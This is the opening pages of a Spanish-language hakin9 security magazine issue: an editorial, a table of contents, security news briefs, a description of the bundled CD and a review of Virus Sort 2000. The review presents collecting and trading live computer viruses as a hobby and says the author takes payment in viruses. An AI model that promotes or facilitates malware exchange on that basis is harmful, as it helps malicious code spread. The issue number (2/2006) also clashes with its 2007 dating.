hakin9

hakin9 de abril...
En abril, como cada mes desde enero del año 2007, hakin9 os trae una serie de artículos nuevos, interesantes y prácticos, que os ayudarán en vuestras actividades profesionales y que os dejarán conocer mejor algunas parcelas en el mundo de la seguridad informática hasta este momento desconocidas... Uno de los artículos que seguro vale la pena leer es: Registro de Windows, que os enseñará cómo implementar seguridad sobre el registro de Windows y también como prevenir unos posibles ataques al Editor de Registro de Windows. El autor de texto es un profesional certificado por Intel Inside y también miembro de la comunidad de codigo seguro de Microsoft – quién mejor para contarnos sobre este tema. Seguro os resultará muy útil e interesante. Otro artículo que vale la pena conocer es Bluetooth – La Amenza Azul . Los problemas que puede traernos el uso de Bluetooth son cada vez más populares, por lo tanto vale la pena conocerlo mas a fondo. Y para los que ya conocen el tema siempre es conveniente repetir la información. En nuestra sección de herramientas encontrarán la descripción de Virus Sort 2000. Esta herramienta os ayudará a formar vuestra propia base de virus para coleccionarlos e intercambiar con otros aficionados al tema. Al ser Shareware todos podéis probarla. En el CD de hakin9 encontraréis nuestro habitual hakin9live – cada vez mas actual y más útil. Tambien encontraréis aplicaciones profesionales – totalmente gratis solo para los Lectores de hakin9. Aprovechando esta oportunidad quiero invitaros otra vez más a participar de forma activa en la revista. Los articulos en la mayoria de las revistas están preparados por la redacción sin consultar los temas con los Lectores. En hakin9 puedes ser tú quien decida sobre el contenido final de la revista. Haciéndote nuestro Betatester recibirás articulos para leerlos mucho antes que los demas Lectores. Y serás tú quién nos diga si vale la pena publicarlos. Esta ayuda es voluntaria – participas cuando tienes tiempo y ganas. Me gustaría también una vez más invitaros a compartir con los lectores de hakin9 vuestras experiencias con herramientas de seguridad informática y participar en nuestros tests. También es una buena oportunidad para recordaros la posiblidad de ser miembro de nuestro Club .PRO. Si tienes una empresa relacionada con seguridad IT este Club es para tí. Por un coste de suscripcion anual tienes la publicidad de tu empresa en forma de tarjeta de visita, en los 12 números correspondientes a la suscripción anual. Esto te ayudará a dar a conocer a tu empresa con el coste muy bajo. Si tenéis alguna duda, opinión o comenterio acerca de la revista y su calidad no dudéis en poneros en contacto con nostros. Todas las opiniones son muy valiosas para nuestra redacción. Espero que disfrutéis de la compañía de hakin9, ¡buena lectura! Katarzyna Chauca

En breve

06

Resaltamos las noticias más importantes del mundo de la seguridad de sistemas informáticos.

Contenido de CD hakin9.live 10

Comentamos el contenido y el funcionamiento de nuestra distribución hakin9.live.

Herramientas Virus Sort 2000
The BlooD

12

Se trata de una herramienta indispensable para todo aquel coleccionista de virus que desee llevar al día su colección y poder intercambiar virus con otros coleccionistas. VS2000 nos permite crear una base de datos de nuestros virus, organizar nuestra colección, ver estadísticas, comparar logs, permite eliminar posibles fakes de nuestra colección, archivos de 0 bites, entre otras muchas cosas.

Ataque Registro de Windows
Víctor López Juárez

16

En este artículo aprenderás qué es el Registro de Windows y su editor, cómo implementar seguridad sobre el Registro y cómo atacar el Editor del Registro.

Bluetooth – La Amenaza Azul
Ezequiel Martín Sallis

24

En este artículo aprenderás qué es Bluetooth, cómo funciona, cuáles son los ataques mas comunes, etc.

Defensa Web Services Security
José Carlos Cortizo Pérez, Diego Expósito, Diego Peces

30

En este artículo leerás cómo protegerse de los problemas básicos de seguridad relacionados con los servicios web y lo que deberías tener en cuenta a la hora de desarrollar tu propio servicio.
www.hakin9.org

4

Administrando la Inseguridad Informática
Jeimy J. Cano

36

En este artículo aprenderás diseñar y construir sistemas menos inseguros, animar un apostura vigilante y proactiva en la gestión de la seguridad informática.

está editado por Software-Wydawnictwo Sp. z o.o. Dirección: Software-Wydawnictwo Sp. z o.o. ul. Bokserska 1, 02-682 Varsovia, Polonia Tfno: +48 22 887 10 10, Fax: +48 22 887 10 11 www.hakin9.org/es Producción: Marta Kurpiewska marta.kurpiewska@software.com.pl Distribución: Monika Godlewska monikag@software.com.pl Redactor jefe: Anna Marcinkiewicz anna.marcinkiewicz@software.com.pl Redactora adjunta: Katarzyna Świnarska katarzyna.swinarska@software.com.pl Preparación del CD: Rafał Kwaśny Composición: Artur Wieczorek artur.wieczorek@software.com.pl Traducción: Osiris Pimentel Cobas, Mariusz Muszak, Raúl Nanclares, Paulina Stosik Corrección: Jesús Alvárez Rodrígez, Jorge Barrio Alfonso Betatesters: Juan Pérez Moya, Jose M. García Alias, Luis Peralta Nieto, Jose Luis Herrera, Paco Galán Publicidad: adv@software.com.pl Suscripción: suscripcion@software.com.pl Diseño portada: Agnieszka Marchocka Las personas interesadas en cooperación rogamos se contacten: cooperation@software.com.pl Si estás interesado en comprar la licencia para editar nuestras revistas contáctanos: Monika Godlewska e-mail: monikag@software.com.pl tel.: +48 22 887 12 66 fax: +48 22 887 10 11 Imprenta: 101 Studio, Firma Tęgi Distribuye: coedis, s.l. Avd. Barcelona, 225 08750 Molins de Rei (Barcelona), España La Redacción se ha esforzado para que el material publicado en la revista y en el CD que la acompaña funcione correctamente. Sin embargo, no se responsabiliza de los posibles problemas que puedan surgir. Todas las marcas comerciales mencionadas en la revista son propiedad de las empresas correspondientes y han sido usadas únicamente con fines informativos. ¡Advertencia! Queda prohibida la reproducción total o parcial de esta publicación periódica, por cualquier medio o procedimiento, sin para ello contar con la autorización previa, expresa y por escrito del editor.

hakin9

Programas malignos
Carlos Javier Fornes Cabrera

44

En este artículo aprenderás qué es un Virus, Gusano y Caballo de Troya.

Ofuscación de Código en Java
Javier Alcubierre

56

En este artículo leerás sobre proteger tu código de miradas indiscretas, los puntos fuertes y débiles de los distintos métodos de ofuscación y sobre implementar tus propios métodos de ofuscación.

Para principiantes Protege gratis tu Windows
ANELKAOS

64

Existen antivirus gratuitos que no tienen mucho que envidiar a los comerciales, Un soft de protección desactualizado puede ser el medio para vulnerar tu sistema

Test de consumidores

72

Presentamos las opiniones de nuestros Lectores sobre los programas antivirus.

La Redacción usa el sistema de composición automática Los diagramas han sido elaborados con el programa de la empresa El CD incluido en la revista ha sido comprobado con el programa AntiVirenKit, producto de la empresa G Data Software Sp. z o.o.

Entrevista
Anna Marcinkiewicz

76

La revista hakin9 es editada en 7 idiomas:
ES

PL FR

CZ DE

EN

Hablamos con Fernando Bahamonde, Presidente de ISSA-España, nos cuenta sobre hacking y ajedrez, sobre el mito de ser hacker que no pierde su actualidad y muchas cosas más...

IT

Advertencia
¡Las técnicas presentadas en los artículos se pueden usar SÓLO para realizar los tests de sus propias redes de ordenadores! La Redacción no responde del uso inadecuado de las técnicas descritas. ¡El uso de las técnicas presentadas puede provocar la pérdida de datos!

Próximo número

82

Avance de los artículos que se encontrarán en la siguiente edición de nuestra revista.

www.hakin9.org

hakin9 Nr 2/2006

5

Breves

Videos y fotos de la ejecución de Saddam que contienen virus informáticos y spyware

Descubren software malicioso para Skype

Los crackers han evolucionado en sus métodos malévolos y están atacando con campañas masivas de spam con videos y fotos de la ejecución de Saddam Hussein que esconden en su interior virus informáticos y spyware. Un virus ha sido identificado como Banload y contiene el archivo Saddam morto.scr, el otro sería el Delf.acc que contiene al archivo saddam.exe. Estos virus tienen el objetivo de lucrarse mediante el robo de identidades y claves bancarias para después limpiar las cuentas de sus propietarios.

E

40 años de cárcel por... un Spyware

La profesora Julie Amero, de Windham, situado en el estado de Connecticut, estaba impartiendo su clase de inglés a los alumnos de 12 años, cuando de la pantalla de su ordenador salieron imágenes pornográficas. Estos hechos ocurrieron en el 2004, y ahora ha sido declarada culpable de riesgo de daños a menores por lo que podría ser condenada a cuarenta años de cárcel. Las imágenes pop-ups que salieron en el ordenador de la profesora eran fruto de un Spyware instalado en el ordenador de la profesora. Las imágenes salían de varias páginas webs, como meetlovers.com y femalesexual.com, entre otras. Para la acusación tales imágenes solo salían por que la profesora frecuentaba esas páginas, mientras que la defensa argumentó, a través del informático W. Herbert Horner, el ordenador estaba infectado por culpa de una inocente web de peinados y no por visitar páginas pornos. Además el programa antivirus del colegio estaba caducado, por lo que la profesora no pudo limpiar su ordenador. Los abogados de la defensa, en primera instancia pidieron la anulación del juicio, alegando que el jurado comenzó a discutir el caso en un almuerzo en un bar, pero esta instancia fue rechazada. Ahora pretenden apelar la decisión para mostrar la inocencia de su cliente.

l descubrimiento de un Troyano que infecta Skype, la aplicación de telefonía VoIP, podría indicar que los ataques dirigidos están avanzando junto con la creciente popularidad de la VoIP. Recientemente se descubrió un gusano que ataca a los usuarios de la popular aplicación de telefonía VoIP Skype en la región de Asia Pacífico, especialmente en Corea. De acuerdo con Websense, el gusano utiliza Skype Chat para descargar y ejecutar un archivo llamado sp.exe. Al parecer, el archivo deposita un Troyano que roba contraseñas con un gusano integrado que utiliza NTKrnl Secure Suite, una compresión rara pero no desconocida. La buena noticia es que aún no se ha reportado una amplia propagación, señaló Jesús Vega, Director General de Trend Micro en España y Portugal. Aunque eso no significa que los usuarios de Skype deban despreocuparse y entrar en los enlaces que reciben mientras conversan. Ya que el software espía no parece explotar algún defecto de Skype, se requiere de la intervención del usuario para enviar el enlace a los contactos disponibles de un cliente infectado de Skype. Se le notifica al usuario infectado que un programa está tratando de tener acceso y que tiene que aceptarlo. Por lo tanto, los usuarios no deben permitir que programas sospechosos tengan acceso a Skype y deben evitar también entrar en los enlaces que provengan de fuentes inesperadas. Actualmente, Trend Micro identifica el componente que roba contraseñas como TSPY_SKPE, que no es el primer código malicioso o software espía que utiliza Skype: en octubre pasado se detectó WORM_ SKYPERISE.A. La diferencia es que este spyware ya emplea una rutina más maliciosa (robo de información), en comparación con el gusano reportado en octubre que sólo propagaba copias de sí mismo a otros usuarios, afirmó Vega.

A pesar del hecho de que la técnica de propagación de este gusano es común, obviamente VoIP se está convirtiendo en un buen campo de batalla que los autores de códigos maliciosos pueden aprovechar. Además, la rutina para el robo de contraseñas, la compresión polimórfica para evitar la detección, y un país de origen específico indican que es un ataque localizado/dirigido con fines de lucro. Trend Micro ya detecta este spyware usando el archivo de patrones más recientes. De acuerdo con las instrucciones manuales para eliminarlo, los usuarios afectados simplemente pueden eliminar el archivo detectado y quitar el registro que la entrada crea. El spyware troyano está hospedado en un sitio Web malicioso. A través de la función de Chat se envía un enlace de dicho sitio a los contactos de Skype, urgiendo a los usuarios a entrar en él. De hecho, puede utilizar una forma de ingeniería social al hacerse pasar por un programa interesante. Al momento de desarrollar este boletín, el sitio ya no estaba disponible. El análisis inicial de la muestra que recibió Trend Labs revela que este software espía es un keylogger típico; roba la secuencia de teclas del usuario y guarda los datos recopilados en un archivo de texto. Esta rutina puede dar a los usuarios maliciosos, incluidos hackers remotos, acceso no autorizado a la cuenta Skype de un usuario infectado, posiblemente cuentas bancarias en línea y más. Probablemente veremos amenazas adicionales para VoIP en el futuro. Después de todo, el Vishing (phishing sobre VoIP) ya está rondando por Internet. Y Wikipedia incluye una entrada (http://en.wikipedia.org/ wiki/VoIP_spam) para un problema aún no existente de spam vía VoIP, llamado SPIT (Spam over Internet Telephony). Esperemos amenazas para VoIP similares, si no es que más sofisticadas, en el futuro.

6

www.hakin9.org

News

Principales consejos para estar protegido frente al phishing

Internet Explorer 6: 284 días inseguro

E

l phishing se basa en mensajes de correo electrónico que conducen a sitios Web maliciosos diseñados para robar datos bancarios de usuarios – PandaLabs confirma que esta amenaza continuará siendo protagonista durante este nuevo año. PandaLabs, el laboratorio antimalware de Panda Software, confirma que el robo de datos privados y confidenciales por Internet, phishing, es una de las principales amenazas de cara al nuevo año. La gran cantidad de transacciones económicas realizadas en las fechas navideñas provoca un aumento de fraudes online de este tipo. Por ello, PandaLabs ofrece una cómoda guía de consejos para salvaguardar la integridad económica de los usuarios. Lo primero a tener en cuenta es que su entidad bancaria nunca se va a poner en contacto con usted por medio del correo electrónico para pedirle ningún tipo de contraseña. Los mensajes de correo electrónico que reciba solicitándole datos o con un enlace que le lleve a una página donde le sean pedidos, bórrelos directamente, ya que es muy probable que se traten de mensajes fraudulentos. Asegúrese también de que la página Web que está visitando es realmente la de la entidad bancaria que desea. Hay que observar el domi-

nio de la página para comprobar que no hay ningún tipo de variación con el correspondiente al dominio real de la entidad. Además, cerciórese de que está realizando una conexión segura. Para ello, debe observar que se encuentra en pantalla el dibujo del candado cerrado que nos indica la seguridad de la conexión y que la URL comienza con las letras https. También, en caso de duda, se puede comprobar que la certificación de la Web sea válida, haciendo doble clic en el candado. Otra forma de asegurar la conexión en el sitio Web real de la compañía es escribiendo directamente en el navegador la dirección de la entidad a la que deseamos acceder, no a través de hipervínculos que puedan estar dirigidos a sitios Web fraudulentos que permitan el robo de datos. Además, la revisión periódica del extracto de las cuentas bancarias sirve para cerciorarse de que no han existido movimientos irregulares de activos en su cuenta, que podrían haber sido provocados por un ataque de phishing. Si observa operaciones desconocidas e irregulares en su extracto, la mejor solución es contactar con la entidad bancaria con la que se han realizado las transacciones, de modo que se pueda detallar en qué han consistido las mismas.

Un experto en seguridad del Washington Post, publicó un informe para nada alentador para el navegador de Microsoft. Según una investigación hecha por el prestigioso diario Washington Post, haber utilizado la versión 6 del popular navegador de Microsoft, Internet Explorer, fue inseguro durante 284 días, más de un tercio del año. El informe revela que, aún aquellos usuarios que parchearon su equipo tan pronto como Microsoft publicó los parches también estuvieron expuestos a cualquier clase de exploits. Para agravar más la situación, hubo 98 días (el año pasado) en los cuales no hubo ningún tipo de parche disponible para fallas que habían sido detectadas y utilizadas por los hackers para robar datos personales. En comparación, los usuarios del Mozilla Firefox solo estuvieron nueve días expuestos de manera crítica a la merced de cualquier ciber–delincuente que quisiera aprovecharse de ellos. Si bien la versión 7 del Explorer promete más seguridad y menos fallas, su tardío lanzamiento (noviembre del año pasado) no alcanzó para que el panorama con respecto a las vulnerabilidades no fuera tan sombrío.

Bug crítico en Adobe Reader y Acrobat 7.0.8

La industria informática alcanza acuerdo en la definición de Spyware

L

a Anti–Spyware Coalition, formada por Microsoft, Symantec, Computer Associates, AOL, Yahoo! y McAfee, publicó en su sitio Web el primer documento en el que se define conjuntamente el termino Spyware. En el documento se hace una clasificación de este tipo de códigos (que se instalan en el ordenador para espiar la actividad de los usuarios) basado en el riesgo que suponen. Entre los códigos de alto riesgo

se encuentran todos aquellos que se expanden masivamente por correo electrónico, virus y worms (gusanos). Códigos instalados sin autorización ni conocimiento de los usuarios, a través de un bug de seguridad, son también considerados de alto riesgo, así como aquellos que interceptan emails o modifican los niveles de seguridad del ordenador. El documento ha levantado cierta polémica en el sector informático.

Resulta que los programas de Adobe también pueden ser afectados. Un polaco Piotr Bania ha descubierto una vulnerabilidad catalogada como crítica en Adobe Reader y Acrobat. Este bug puede ser explotado por atacantes para hacerse con un control total del sistema afectado. El fallo se da por un error de corrupción de memoria cuando se procesan datos malformados lo que lleva bajo determinadas circunstancias a la ejecución arbitraria de comandos por ejemplo abriendo un documento especialmente manipulado. Afecta Adobe Reader 7.0.8 y anteriores, Acrobat Standard, Profesional, Elements y 3D versiones 7.0.8 y anteriores. La solución pasa por actualizar a las versiones 7.0.9 – 8.0.0.

www.hakin9.org

7

Breves

Un internauta condenado a dos meses de prisión y a una multa por descargar películas

Un internauta francés que descargaba películas por el sistema de intercambio directo de ficheros (peer-to-peer) ha sido condenado a dos meses de cárcel y a una multa, según la sentencia dada a conocer por un tribunal de Nantes. No obstante, esta persona no tendrá que ingresar en prisión. El ordenador de este usuario había llegado a acumular alrededor de 400 películas, por las que tendrá que pagar ahora 10 euros por cada una a las asociaciones de edición de obras cinematográficas que se habían personado como parte civil en este proceso. La sentencia tiene en cuenta que el internauta descargaba películas para su propio disfrute, sin interés lucrativo. Por este motivo se le han aplicado sanciones reducidas. El Parlamento francés aprobó definitivamente una ley en junio de 2006 que regula las descargas de obras a través de Internet y contempla en algunos supuestos penas de cárcel y multas. Además, la ley francesa establece sanciones graduales que pueden llegar a los tres años de cárcel y fuertes multas para el que comercialice programas destinados a fomentar la piratería.

Telefónica pone a disposición de Pymes, Negocios y Profesionales una herramienta de software diseñada por ECIJA

T

Encuentran una denegación de servicio en Snort

En los últimos días se ha encontrado una vulnerabilidad en Snort 1.x y 2.x que puede ser aprovechada por atacantes sobre todo para provocar una denegación de servicio en el detector de intrusos. El problema se basa en que el algoritmo de reconocimiento de patrones en Snort puede ser abusado para que consuma todos los recursos y provocar que el ratio de detección baje hasta ser nulo a través de paquetes especialmente manipulados. La vulnerabilidad se ha confirmado en la versión 2.4.3 pero otras podrían verse afectadas. Para evitar este problema, se recomienda actualizar a las últimas versiones, o sea, descargarlas desde la página Web www.snort.org.

elefónica de España continúa avanzando en su objetivo de facilitar la gestión de los negocios y las pequeñas y las medianas empresas y para ello lanza al mercado la Solución Ayuda LOPD. Esta solución on-line permite cumplir con las obligaciones impuestas por la normativa de protección de datos personales de una forma sencilla y económica. Para ello, ha trabajado con Ecija, firma de Abogados y Consultoría IT especializada en Protección de Datos y en la labor de apoyo y gestión a las empresas. Solución Ayuda LOPD se basa en una aplicación web (en modo ASP) que analiza la importancia y el grado de confidencialidad de los datos personales que tratan las pymes, negocios y profesionales y ofrece las soluciones necesarias para el cumplimiento tanto de la Ley Orgánica 15/1999 de Protección de Datos de Carácter Personal (LOPD) como del Real Decreto 994/1999, Reglamento de Medidas de Seguridad (RMS). Además, el servicio proporciona los formularios oficiales de inscripción de ficheros ante la Agencia Española de Protección de Datos, permite generar y mantener siempre actualizado, y de forma dinámica, el Docu-

mento de Seguridad de la empresa, incluye la Documentación Jurídica necesaria para la adecuación (contratos, cláusulas, avisos legales, etc). El uso de esta solución garantiza la adecuación a la ley de forma rápida y eficaz a bajo coste, evitando cuantiosas sanciones por parte de la Agencia Española de Protección de Datos y velando por la profesionalidad y la calidad de servicio. Las principales ventajas de esta solución on-line son la facilidad de uso puesto que no se requieren conocimientos técnicos ni jurídicos para su utilización debido a la automatización de la mayoría de los procesos y los servicios de soporte gratuito. Su implantación supone un ahorro de costes y garantiza la actualización continua, estando cubierta la adaptación a la normativa ante posibles cambios legislativos, así como la fiabilidad, ya que la solución está desarrollada por un equipo de consultores, técnicos y abogados especialistas en la protección de datos personales. La Solución Ayuda LOPD puede contratarse a través de la Red de Ventas de Telefónica de España, los distribuidores autorizados y en www.telefonicaonline.com.

Proyecto Telefónica On-line

8

www.hakin9.org

News

Encuentran múltiples vulnerabilidades en lectores de archivos PDF

Spyware de Nueva Generación que Elude a los Antivirus

D

iferentes lectores de archivos PDF son propensos a múltiples vulnerabilidades del tipo desbordamiento de búfer. La situación se produce debido a que por diseño, éstas aplicaciones no comprueban los límites de la información proporcionada por estos archivos, antes de manipular la misma y copiarla a un búfer con insuficiente tamaño para recibirla. Un atacante puede explotar estas debilidades para ejecutar código de forma arbitraria, aunque esto depende del contexto y del lector en concreto. La prueba de concepto existente, solo ocasiona una denegación de servicio (la aplicación involucrada se congela y deja de responder). Otros ataques podrían ser implementados a partir de esta situación, y ser empleados para el robo de información, o la ejecución de algún código malicioso. El problema se origina al aplicar las especificaciones para los documentos en formato PDF (que es una abreviación de Adobe Portable Document Format). La especificación 1.3 de Adobe, define una serie de objetos en forma de árbol con jerarquías (es decir, cada objeto se organiza en diferentes ramas, cada una dependiente de la anterior hasta llegar a la raíz), formando un diccionario en forma de catálogo. El catálogo contiene las referencias necesarias a objetos y datos que componen el contenido del documento y sus atributos. También, contiene directivas para definir la forma en que el documento debe ser mostrado al usuario por la aplicación. Por un error de diseño, no se contempla en estas especificaciones el uso de nodos o ramas con referencias u objetos inválidos. De ese modo, cuando el documento incorpora un nodo inválido, la conducta de la aplicación es inesperada. Las consecuencias (entre otras), pueden ser la corrupción de

la memoria, acceso no autorizado a zonas de la memoria y denegación de servicio. La corrupción de la memoria con la consecuente escritura de datos en áreas no previstas para ello, pueden llevar a la ejecución arbitraria de código. Hasta ahora se ha comprobado el problema en los siguientes lectores de archivos PDF: • • • • • • • • Adobe Acrobat Reader 7.0.x, Adobe Acrobat Reader 6.0.x, Adobe Acrobat Reader 5.1, Adobe Acrobat Reader 5.0.x, Adobe Acrobat Reader 4.0.x, Adobe Acrobat Reader 3.0, Apple Mac OS X Preview.app 3.0.8 (409), Xpdf 3.0.1 (Patch 2).

Los hackers y cibercriminales utilizan troyanos y keyloggers para traspasar la seguridad de los antivirus y antispywares. Esto ha ocasionado que el 89% de los PCs particulares estén infectados con un promedio de 30 virus informáticos o spywares cada uno. Según se analiza en el informe de Webroot, empresa de seguridad informática creadora del producto antispyware Spy Sweeper.

Una variante troyana del virus informático Código Rojo ataca redes informáticas británicas y estadounidenses

Sin embargo, siempre hay que tener en cuenta que otras aplicaciones también podrían ser afectadas, ya que no se debe a un problema de las aplicaciones en si mismas, sino a un error de diseño de las especificaciones para leer estos archivos. No es afectada la versión 8.0 de Acrobat Reader. Debido a su naturaleza (o sea, error de diseño), desgraciadamente no existe una solución concreta para este problema. Las consecuencias de su explotación, dependerán de la aplicación y la plataforma utilizada. Para protegerse mejor antes de los ataques de virus, se recomienda, como una forma de disminuir los riesgos, no abrir documentos PDF que no han sido solicitados, o que vienen de fuentes no comprobadas, una cosa muy importante es también mantener actualizado su antivirus. Una solución temporal también podría ser utilizar únicamente Acrobat Reader 8.0.0 como lector, pero ello no asegura al usuario no ser afectado por otras consecuencias de este problema.

Expertos en seguridad en Internet informan que están vigilantes ante la aparición de una variante de tipo troyana del gusano informático Código Rojo que detectaron tras los ataques cometidos en miles de terminales repartidas entre Estados Unidos y Reino Unido. La variante del Código Rojo fue identificada como Código Rojo C. por la empresa privada de seguridad en Internet, Symantec AntiVirus Research Center, y no tardó en causar alarma mundial. El UNIRAS, una sección del centro del Gobierno británico para coordinar esfuerzos en la defensa de la infraestructura informática británica contra ataques electrónicos, así como la compañía de software antivirus Network Associates se confesaron víctimas del nuevo invasor en Internet. Código Rojo C tiene poco que ver con su padre virtual ya que esta nueva versión no desactiva páginas Web como hacía el Código Rojo, sino que otorga al pirata informático control remoto sobre las computadoras que infecta por medio de un caballo de Troya que introduce en el sistema. Su capacidad de dispersión es hasta seis veces más rápida, y sus posibles efectos sobre Internet se desconocen, siendo más difícil de detectar y más complicado de eliminar que su predecesor. Esta nueva amenaza es más peligrosa que las versiones anteriores del Código Rojo, a pesar de que es improbable que afecte toda la infraestructura de Internet a corto plazo, según el UNIRAS.

www.hakin9.org

9

hakin9.live

Contenido de CD

E
• • •

n el disco que acompaña a la revista se encuentra hakin9.live (h9l) en la versión 3.2.1 – aur – distribución bootable de Aurox que incluye útiles herramientas, documentación, tutoriales y material adicional de los artículos. Para empezar el trabajo con hakin9.live, es suficiente ejecutar el ordenador desde el CD. Después de ejecutar el sistema podemos registrarnos como usuario hakin9 sin introducir contraseña. El material adicional se encuentra en los siguientes directorios: docs – documentación en formato HTML, art – material complementario a los artículos: scripts, aplicaciones, programas necesarios, tut – tutoriales, tutoriales tipo SWF.

por eso el Comodo Firewall tenía que pasar muchos tests de seguridad para asegurarse de que tiene una poder suficiente para averiguar todos los datos que entran en tu ordenador. Es capaz de clasificar hasta 10 000 aplicaciones según su nivel de seguridad: SAFE, SPYWARE y ADWARE. Pasó el Comodo's Patent Injection Leak Test que simula la técnica que usan los hackers durante los ataques de Troyanos. No necesita ningún cambio de configuración para trabajar con su máxima fuerza.

Enigma Lite Desktop Edition

Los materiales antiguos se encuentran en los subdirectorios_arch, en cambio, los nuevos – en los directorios principales según la estructura mencionada. En caso de explorar el disco desde el nivel de arranque de hakin9.live, esta estructura está accesible desde el subdirectorio /mnt/cdrom. Construimos la versión 3.2.1 – aur h9l en base a la distribución de Aurox 12.0 y de los scripts de generación automatica (www.aurox.org/pl/live). Las herramientas no accesibles desde el CD se instalan desde el repositorio de Aurox con el programa yum. En h9l encontraremos un programa de instalación (Aurox Live Instaler). Después de instalar en el disco se puede emplear el comando yum para instalar programas adicionales.

Enigma Lite Desktop Edition (versión trial de 90 días) es un programa que sirve para almacenar y transferir documentos; lo usan tanto los usuarios individuales para proteger sus ordenadores de mesa o portátiles, como las grandes empresas. Asegura la protección y la privacidad de archivos, correos electrónicos, bases de datos y de todos los documentos. Enigma ofrece una solución diseñada también para sistemas operativos Microsoft; sus componentes están integrados con el Windows. Nuestros lectores reciben el descuento de 50% para la versión completa del programa.

Net Conceal AntiHistory

Tutoriales y documentación

Net Conceal AntiHistory (versión completa) es un programa que borra perfectamente historial de tu actividad. Es capaz de borrar las cookies, Temporary Files, información recién escrita, historial de búsqueda, etc. Se lo puede usar con programas Internet Explorer, Windows, MS Office, MSN Messenger, programas de archivo (WinZip y WinRAR), programas de P2P (Kazaa, eMule), Google Toolbar y Google Desktop.

La documentación está compuesta de, entre otros, tutoriales preparados por la redacción que incluyen ejercicios prácticos de los artículos Suponemos que el usuario emplea hakin9.live. Gracias a ello evitaremos los problemas relacionados con las diferentes versiones de los compiladores, la diferente localización de los archivos de configuración u opciones necesarias para ejecutar la aplicación en el entorno dado. Especialmente para nuestros Lectores CD1 contiene aplicaciones comerciales:

NetConceal Anonymizer

NetConceal Anonymizer (versión trial) es un software que esconde tu IP cuando navegas por la red o durante cualquiera actividad tuya en Internet. Se lo puede usar con el Internet Explorer, programas de P2P, o con el e – mail – nadie verá tu autentica dirección de IP. ¡Esconde tu IP y siéntete seguro!

eScan Internet Security

Comodo Firewall Pro

Comodo es una empresa especialista líder en seguridad de Internet y provee la nueva generación de Soluciones de Seguridad para E-commerce. Casi todos los firewalls desgraciadamente tienen algunos agujeros,

Es una solución de seguridad diseñada para proteger los ordenadores personales de los virus, spyware, troyan, adware, malware, keyloggers, hackers, spammers, etc. Contiene el escanner de los emails y páginas Web, spam blocker para prohibir los emails peligrosos, gestión de privacidad, filtro de Pop-ups, etc. Versiones en inglés, español, francés, alemán, polaco, chino, islandés, portugués, italiano y finlandés. l

10

www.hakin9.org

En caso de cualquier problema con CD rogamos escribid a: cd@software.com.pl

Si no puedes leer el contenido del CD y no es culpa de un daño mecánico, contrólalo en por lo menos dos impulsiones de CD.

Virus Sort 2000
Sistema operativo: Windows Licencia: Shareware Destino: Catalogador de colecciones de virus Página de inicio: http://www.infonegocio.com/vbuster/

Herramientas
Como el propio programa dice, Virus Sort 2000 es everything VX Collector Needs. Se trata de una herramienta indispensable para todo aquel coleccionista de virus que desee llevar al día su colección y poder intercambiar virus con otros coleccionistas.

VS2000 nos permite crear una base de datos de nuestros virus, organizar nuestra colección, ver estadísticas, comparar logs, permite eliminar posibles fakes de nuestra colección, archivos de 0 bites, entre otras muchas cosas. VS2000 posee una licencia Shareware, pero el único pago que hay que efectuar es ceder una cantidad de virus, la que sea, a su autor, para poder conseguir las nuevas versiones, aunque en la Web del autor existe una versión algo más antigua.

Virus Databases

Como es lógico empezaremos por el principio, y el principio es la pestaña de Virus Databases. En esta pestaña esta todo lo relacionado con nuestras bases de datos de virus. VS2000 transforma un archivo log en una base de datos, la cual nosotros podemos modificar, consultar, etc. • Build Database: Desde aquí se hace una base de datos a partir de un archivo log. Es necesario recordar que VS2000 nos hace una base de datos distinta por cada log que tengamos. VS2000 reconoce los tipos más usuales de log dependiendo del antivirus, por lo tanto nos realizará una base de datos para KAV (Kaspersky), otra para NOD, … Las bases de datos se guardan con la extensión *.DAT dentro de una carpeta llamada virdata. Compare Log: Compara nuestra base de datos con otro archivo log. Si queremos comparar un archivo de KAV con nuestra base de datos, VS2000 lo comparará con la base de datos de KAV, no con las demás bases de datos, si es un log de NOD, pues con la base de datos de NOD. Esto es por la sencilla razón de que todos los antivirus no nombran a los virus de igual forma. Cuando se hace una comparación se crea un archivo log con los virus que faltan en tu base de datos y que si están en el otro log. Add new virii to DAT: Añade nuevos virus desde un log a nuestra base de datos. Esto es muy útil puesto que si conseguimos nuevos virus no necesitamos

• •

hacer de nuevo un log con toda la colección para actualizar nuestra base de datos, bastará con hacer un log de los nuevos virus, y añadirlos a nuestra base de datos. Compare two logs: Compara dos los entre ellos mismos, NO los compara con la base de datos. Crea dos archivos logs, en los cuales están los virus que faltan en el otro log, es decir, si comparamos los logs: blood.log y avp.log nos creará dos archivos: uno que contenga los virus que faltan en el log blood.log y que se encuentran en avp.log, y otro log de forma viceversa. Search: Busca virus dentro de nuestra base de datos. Realmente útil para buscar virus concretos. Generate Reports: Dentro de esta opción nos encontramos con muchas más opciones: – Generate virii lists: Nos crea una lista con todos nuestros virus. – Generate report: Nos crea un archivo log, igual que el creado con el antivirus, de cada una de nuestras bases de datos. – Generate statistics: Crea un informe con los tipos de virus que poseemos, el número de virus de cada tipo, y el porcentaje. Esta opción también es realmente útil. – Generate browse list from DATs: Genera una lista en 2 o 3 columnas en las que aparece el nombre que AVP le da a un virus, el nombre que le da FProt y el fichero que tienes en tu colección correspondiente a ese virus.

Figura 1. Virus Database

12

www.hakin9.org

Herramientas

– Generate browse list from 2 logs: Al igual que la opción anterior pero con dos logs externos a la dase de datos. – Generate virii count report: Genera un archivo con el número de virus únicos y totales por cada base de datos que tengamos. – Generate graphical statistics: Realiza estadísticas gráficas a partir de un archivo generado con la opción Generate virii count report antes comentada y permite guardarlas como *.bmp. El único inconveniente es que actualmente solo esta disponible para KAV y F-Prot. Optimize DATs: Ordena los datos de los archivos *.DAT, de tal forma que realiza las comparaciones de forma mucho más rápida. Process with logs: Con esto podremos hacer muchísimas cosas relacionadas con los logs. Las más importantes son: crear un log con los fakes de nuestro log, crear una lista de virus duplicados,… Process with strings: Desde aquí se podrá modificar el log a nuestro gusto, podremos remplazar una linea, palabra, etc. por cualquier otro texto, borrar líneas que contengan ciertas palabras, etc. Extra Options: Permite añadir identificaciones a logs desconocidos, para que VS2000 los pueda comparar, etc. También permite optimizar los DATs inmediatamente después de añadir nuevos virus.

